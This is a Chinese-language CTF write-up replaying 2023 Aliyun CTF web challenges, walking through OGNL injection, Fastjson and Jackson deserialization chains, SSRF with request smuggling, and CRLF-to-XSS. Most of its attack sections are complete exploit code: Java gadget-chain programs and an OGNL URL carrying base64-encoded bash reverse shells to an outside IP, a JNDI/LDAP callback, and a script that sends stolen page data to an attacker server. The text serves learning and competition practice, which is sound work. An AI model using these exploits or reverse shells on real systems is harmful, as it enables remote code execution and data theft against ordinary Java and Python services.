2023 Aliyun CTF 复现
题目环境已更新至 CTF Repo 当中 —— https://github.com/Drun1baby/CTF-Repo-2023
2023 Aliyun CTF 复现
the path to shell
这个题目其实一眼就是 OGNL 表达式注入了,注入点是 url 直接注。
虽然说知道是 OGNL 表达式注入相关的漏洞,但是并不完全知晓应该如何攻击比较好,因为从 web.xml
来看,对应的 servlet 路径是 /action
,需要调用 /action
路径才能攻击。
web.xml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <filter> <filter-name>IPCheckFilter</filter-name> <filter-class>org.ctf.filter.IPCheckFilter</filter-class> </filter> <filter-mapping> <filter-name>IPCheckFilter</filter-name> <url-pattern>/*</url-pattern> </filter-mapping> <servlet> <servlet-name>Action</servlet-name> <servlet-class>org.ctf.servlet.ActionServlet</servlet-class> </servlet> <servlet-mapping> <servlet-name>Action</servlet-name> <url-pattern>/action/*</url-pattern> </servlet-mapping> </web-app>
|
如果直接访问是不行的,回显 404
这其实是因为在 backend 这个 war 包中,存在 Filter 全局过滤这个 war 包的所有服务,过滤的方式是检查 IP 是否为本地,比赛的时候绕了很久都绕不过去。所以我们无法直接访问到 /action
接口。
官方这里的 WP 很有意思,是用可控的参数进行过滤器的 bypass 的,其实自己也不是第一次看到这些东西了,但是并没有花时间去分析它,感觉很。。。无论如何关于这一块的 Spring 目录穿越的 bypass 分析也要提上日程了。包括在 Struts2 下的 ;
以及 .do
,.action
的分析
根据官方的思路,通过 /app
界面下的输入参数 name 可控,先进行目录穿越的探测。不过这里需要注意的是,常规的 /app/user/../../../action
一定是不对的,具体原因我们需要看 UserController 的代码处理
Feign Client 在处理请求路径参数时,Feign 默认会做 URL 编码,绝大部分特殊字符会被编码,也就不能 ../
的方式往上跳。但如果是 %2F
它会再替换成 /
,所以 %2F..%2F..%2F..%2F
就能跳了。同时这里因为设置了必要的 URL 后缀是 http://127.0.0.1:8080/backend/
,我们在通过路径穿越访问 /action
接口时,需要加上 /backend/action
payload 如下
1
| http://120.55.13.151:8080/app/user/..%252F..%252F..%252Fbackend%252Faction
|
成功访问 /action
接口
在成功访问 /action
接口之后,剩下的攻击就可以直接构造 payload 打了。由于 ActionServlet 中对内容也进行了一次 URL 解码,所以这里的 payload 需要进行二次 URL 编码。
1
| ((new javax.script.ScriptEngineManager()).getEngineByName('js')).eval('java.lang.Runtime.getRuntime().exec("cat flag")')
|
可能是无回显的,尝试弹个 shell
1
| ((new javax.script.ScriptEngineManager()).getEngineByName('js')).eval('java.lang.Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjIxLjEzOC8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}")')
|
1
| http://120.55.13.151:8080/app/user/..%252F..%252F..%252Fbackend%252Faction%252F%2528%2528new%2520javax%252Escript%252EScriptEngineManager%2528%2529%2529%252EgetEngineByName%2528%2527js%2527%2529%2529%252Eeval%2528%2527java%252Elang%252ERuntime%252EgetRuntime%2528%2529%252Eexec%2528%2522bash%2520%252Dc%2520%257Becho%252CYmFzaCAtaSA%252BJiAvZGV2L3RjcC8xMjQuMjIyLjIxLjEzOC8yMzMzIDA%252BJjE%253D%257D%257C%257Bbase64%252C%252Dd%257D%257C%257Bbash%252C%252Di%257D%2522%2529%2527%2529
|
成功弹 shell
弹 shell 之后并不能直接读取 cat flag,需要运行 ./readflag
命令才可以。
ezbean
首先是把二次反序列化的学习提上日程了,之前一直只是浮于了解,并没有进行实战,这一次正好提供了一个很好的机会(说来也是有趣,这比赛当天是和 HDCTF 一起打的,两道题目都是传参 POST data,都是 Fastjson,最后的 WP 都说是二次反序列化,我还是太菜了)
先看依赖,此处存在低版本 Fastjson,可以打。
然后再看过滤的类,过滤了很多,但是并没有过滤 fastjson 这个类。
这道题目拿到,一定是先去看 MyBean 的代码,MyBean 代码这里有个 getConnect()
方法,getConnect()
方法这里触发了 this.conn.connect();
,可以触发一个 JMXConnector 的攻击,当然这里本质还是 RMI
但是我们这里并没有触发 MyBean#getConnect
的方式,联想一下前面的 Fastjson,不难想到这是 Fastjson 去调用 MyBean,然后再打 JMXConnector
- 链尾已经有了,那么入口呢?入口既然是一个 base64 解码之后的反序列化,那么怎么可能都不会是直接 fastjson 语句打,所以这里一定是通过其他东西来触发 Fastjson,可以是二次反序列化,也可以是其他的东西。
联想到之前 Fastjson 爆出来的 1.2.80 的洞,是通过抛出异常来触发的,感觉这里一切就都能说得通了。如此一来,链子的构思就完成了,剩下就需要我们写 EXP(我比赛的时候完全写不出来,首先是不熟悉 Fastjson 1.2.80 的洞应该怎么打,其次就是 JMXConnector 不会打)
先整理一下链子
1
| BadAttributeValueExpException.toString -> FastJSON -> MyBean.getConnect -> RMIConnector.connect -> JNDI
|
编写 EXP,通过 BadAttributeValueExpException
触发 Fastjson 的反序列化,然后将 JMXConnector 的 evil content 通过反射放到 MyBean 里面,最终的 EXP 如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| package com.ctf.ezser; import com.alibaba.fastjson.JSONObject; import com.ctf.ezser.bean.MyBean; import javax.management.BadAttributeValueExpException; import javax.management.remote.JMXConnector; import javax.management.remote.JMXServiceURL; import javax.management.remote.rmi.RMIConnector; import java.io.ByteArrayOutputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.util.Base64; public class EXP { public static void main(String[] args) throws Exception{ JMXServiceURL jmxServiceURL = new JMXServiceURL ("service:jmx:rmi:///jndi/ldap://124.222.21.138:1389/a"); setFieldValue(jmxServiceURL, "protocol", "rmi"); setFieldValue(jmxServiceURL, "port", 0); setFieldValue(jmxServiceURL, "host",""); setFieldValue(jmxServiceURL,"urlPath","/jndi/ldap://124.222.21.138:1389/TomcatBypass/Command/" + "Base64/YmFzaCAtaSA%2bJi9kZXYvdGNwLzEyNC4yMjIuMjEuMTM4LzIzMzMgMD4mMQ=="); JMXConnector jmxConnector = new RMIConnector(jmxServiceURL,null);
MyBean myBean = new MyBean(); setFieldValue(myBean,"conn",jmxConnector); JSONObject jsonObject = new JSONObject(); jsonObject.put("jb", myBean); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123); setFieldValue(badAttributeValueExpException, "val", jsonObject); serialize(badAttributeValueExpException); } public static void serialize(Object obj) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(baos); oos.writeObject(obj); oos.close(); System.out.println(new String(Base64.getEncoder().encode(baos.toByteArray()))); } public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); } }
|
Bypassit I
先看路由
让我们直接用 curl 传输 .ser
文件去打,接着看依赖,依赖中有个 jackson,jackson 和 fastjson 用起来差不多,所以这里的链子思路应该是:
1
| BadAttributeValueExpException.toString -> POJONode -> getter -> TemplatesImpl
|
由此构造 EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83
| package com.ctf.bypassit; import com.fasterxml.jackson.databind.node.POJONode; import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import com.sun.org.apache.xpath.internal.objects.XString; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import java.io.*; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.util.HashMap; public class EXP { public static void main(String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "Drunkbaby"); byte[] code = getTemplatesImpl("new String[]{\"/bin/bash\", \"-c\", \"{echo,YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMjQuMjIyLjIxLjEzOC8yMzMzIDA+JjE=}|{base64,-d}|{bash,-i}\"}"); byte[][] bytecodes = {code}; setFieldValue(templates, "_bytecodes", bytecodes); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); POJONode a = new POJONode(templates); HashMap<Object, Object> s = new HashMap<>(); setFieldValue(s, "size", 2); Class<?> nodeC; nodeC = Class.forName("java.util.HashMap$Node"); Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC); nodeCons.setAccessible(true); Object tbl = Array.newInstance(nodeC, 2); XString xString = new XString("xx"); HashMap map1 = new HashMap(); HashMap map2 = new HashMap(); map1.put("yy", a); map1.put("zZ", xString); map2.put("yy", xString); map2.put("zZ", a); Array.set(tbl, 0, nodeCons.newInstance(0, map1, map1, null)); Array.set(tbl, 1, nodeCons.newInstance(0, map2, map2, null)); setFieldValue(s, "table", tbl); serialize(s); } public static void setFieldValue(Object object, java.lang.String fieldName, Object value) throws Exception { Field field = object.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(object, value); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object deserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(java.lang.String.valueOf(Filename))); Object obj = ois.readObject(); return obj; } public static byte[] getTemplatesImpl(java.lang.String cmd) { try { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Evil"); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(superClass); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody(" try {\n" + " Runtime.getRuntime().exec(\"" + cmd + "\");\n" + " } catch (Exception ignored) {\n" + " }"); byte[] bytes = ctClass.toBytecode(); ctClass.defrost(); return bytes; } catch (Exception e) { e.printStackTrace(); return new byte[]{}; } } }
|
遗憾的是这些 Java 题目似乎环境都已经关闭了
Door gap (门缝)
直接访问 http://118.178.238.83:8000/ 可以看到源码,得到以下信息
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134
| import json import math from ipaddress import ip_network, ip_address import io import traceback import requests import http.client from urllib.parse import urlparse from flask import Flask from flask import request from werkzeug.middleware.proxy_fix import ProxyFix from werkzeug.exceptions import NotFound import socket import cachetools app = Flask(__name__)
app.wsgi_app = ProxyFix( app.wsgi_app, x_for=1, x_proto=1, x_host=1, x_prefix=1 )
private_networks = [ ip_network("10.0.0.0/8"), ip_network("172.16.0.0/12"), ip_network("192.168.0.0/16"), ip_network("127.0.0.0/8"), ip_network("100.100.100.200/32"), ip_network("0.0.0.0/32"), ip_network("::1/128"), ip_network("::/128") ] OriginalResponse = http.client.HTTPResponse class CustomHttpResponse(OriginalResponse): def __init__(self, sock, debuglevel=0, method=None, url=None): super().__init__(sock, debuglevel, method, url) self.raw_resp = b'' try: while True: _data = sock.recv(1024 * 4) if len(_data) == 0: break self.raw_resp += _data sock.settimeout(0.5) except: pass sock.close() self.fp = io.BytesIO(self.raw_resp) http.client.HTTPConnection.response_class = CustomHttpResponse host_cache = cachetools.TTLCache(maxsize=math.inf, ttl=300) def custom_gethostbyname(hostname): try: return host_cache[hostname] except KeyError: address = socket.gethostbyname(hostname) host_cache[hostname] = address return address original_getaddrinfo = socket.getaddrinfo def new_getaddrinfo(*args): host = args[0] try: ip_address(args[0]) return original_getaddrinfo(*args) except ValueError: new_args = list(args) new_args[0] = custom_gethostbyname(host) return original_getaddrinfo(*new_args) socket.getaddrinfo = new_getaddrinfo def get_file(path): fp = open(path) ret = fp.read() fp.close() return ret @app.route('/proxy', methods=["GET", "POST"]) def proxy(): if not ip_address(request.remote_addr).is_private: return "Forbidden.", 403 if not request.data: return "parameter error", 400 params = json.loads(request.data) if "url" not in params: return "parameter error", 400 for key in ["files", "proxies", "hooks", "cert"]: if key in params: del params[key] params["stream"] = True params["allow_redirects"] = False params["timeout"] = 10 host = urlparse(params.get("url")).hostname try: ip = ip_address(host) except ValueError: ip = ip_address(custom_gethostbyname(host)) if any([ip in nw for nw in private_networks]): return "Forbidden.", 403 r = requests.get(**params) return r.raw._fp.raw_resp @app.route("/") def index(): return get_file(__file__).replace(" ", " ").replace("\n", " ") if __name__ == '__main__': app.run(host='0.0.0.0', port=8001, debug=False)
|
这个题目是肉眼可见的 SSRF,所以第一步应该是绕过 XFF。由于 python wsgi 中不区分请求头中的 -
和_
,所以可以用 X_Forwarded_For: 127.0.0.1
头来绕过 IP 限制。
Kong 转发的时候有两个 XFF 头,而且 X_F_F 在后面
1 2
| X-Forwarded-For: a.a.a.a X_Forwarded_For: 127.0.0.1
|
第二步绕过SSRF检查也有两个解法,一个是使用 IPv4-mapped IPv6 address 来绕过:http://[::FFFF:172.18.19.3]:8000/admin/
,另一个是利用 urllib 中的 urlparse 和 requests (urllib3) 中的 urlparse 解析不一致来绕过: http://172.18.19.3:8000\@www.aliyun.com/../admin/
请求到 http://172.18.19.3:8000/admin/ 之后可以发现是 Kong API 网关的管理接口,通过访问 http://172.18.19.3:8000/admin/services 等管理接口可以收集到以下信息:
这里首先要用/api/login/..;/flag
绕过鉴权,(login接口不需要登录,后端tomcat处理时会把/..;/
当做/../
,请求地址就变成了 /flag )。其次在请求头中加入Transfer-Encoding: chunked
,使用请求走私,在GET请求中夹带一个POST请求获取到最终flag。最终PoC如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| POST /proxy HTTP/1.1 Host: 118.178.238.83:8000 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.111 Safari/537.36 Connection: close Cache-Control: max-age=0 Content-Length: 217 X-Forwarded_For: 127.0.0.1
{"url": "http://[::ffff:172.18.19.3]:8000/api/flag", "headers": {"Transfer-Encoding": "chunked"}, "data": "0\r\n\r\nPOST /api/login..;/flag HTTP/1.1\r\nHost: 118.178.238.83:8000\r\nAccept: */*\r\nUser-Agent: testua\r\n\r\n" }
|
obisidian
这个题目给的是一个二进制文件,其实后面发现这个二进制文件当中所能得到的信息非常少,所以其实也没什么用。
在经过黑盒探测之后其实可以基本确定这个一个 XSS/CSRF 这种类型的题目,并且可以在题目里面看到存在 CSP 头
通过测试可以发现 rouille 所使用的版本
1
| tiny_http = { version = "0.12.0", default-features = false }
|
在设置 Header 时存在 CRLF 注入,因此可以通过 CRLF 注入绕过 CSP,这是 WP 写的,那如果让我来思考,我怎么自己发现这个 CRLF 注入呢?
早在自己在学习 CRLF 注入的时候就知道有 burpsuite 自带的插件,我觉得从漏洞挖掘的效率来说这样子是最好的。
既然这里存在 CRLF 注入,我们可以直接打了,构造 payload
1 2 3 4 5
| http://127.0.0.1:8000/note/123123 A:B
<script>alert(/xss/)</script>
|
构造是成功的
由此我们尝试去读 Set-Cookie,我觉得这里我应该是不太能构造出 payload,太菜了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38
| import requests import re import base64 REMOTE_ADDR = "<http://116.62.26.23:8000>" from pow import do_brute
rs = requests.Session() def expMaker(x): exp = "<http://localhost:8000/note/>" exp += "%0d%0aContent-Length:LENGTH%0d%0a%0d%0a" exp += '<script>eval(atob("' exp +=base64.b64encode(x.encode()).decode().replace("/","%2F").replace("+","%2B").replace("=","%3D") exp += '"))<%2Fscript>' exp = exp.replace("LENGTH",str(len(exp)-exp.index("LENGTH")+4)) return exp
exp = expMaker(''' fetch("/note/%0d%0aContent-Length:1120%0d%0a%0d%0aaaa").then(res "6 res.text()).then(data "6 {window.location.href=""%VPS/x/r4?data=" + encodeURIComponent(data)}).catch(err "6 window.location.href=""%VPS/x/r4?data=" + encodeURIComponent(err)) ''') print(exp)
def attack(): rs.post(REMOTE_ADDR + "/login", data={"username": "123", "password": "123"}) page = rs.get(REMOTE_ADDR + "/submit").text regex1 = r'<label>([a-zA-Z0-9]{1,})\\s*\\+\\s*4 chars\\(a-zA-Z0-9\\) = ([a-zA-Z0-9]{32})"8label>'
data = re.findall(regex1, page)[0] print(data) pow = do_brute(data[0],data[1]) print(pow) resp = rs.post(REMOTE_ADDR + "/submit", data={"suffix": pow,"url":exp}) print(resp.status_code) attack()
|
小结
感觉题目质量真的很高,给我的感觉是考的很深入,这才是安全研究啊(仰天
且本次出题都很贴近开发情况,比如
- 如何从一个 CRLF 注入 ——> XSS
- 如何利用一些很常见的差异构造攻击,像 Tomcat 解析问题
- 如何在 SSRF 之后进行有效的信息收集
等等……
题目质量真的很高,还有一部分题目没有复现是因为我觉得我现在的水平单纯跟着 WP 去看没什么意义。
Ref
https://xz.aliyun.com/t/12485
Straw Hat WP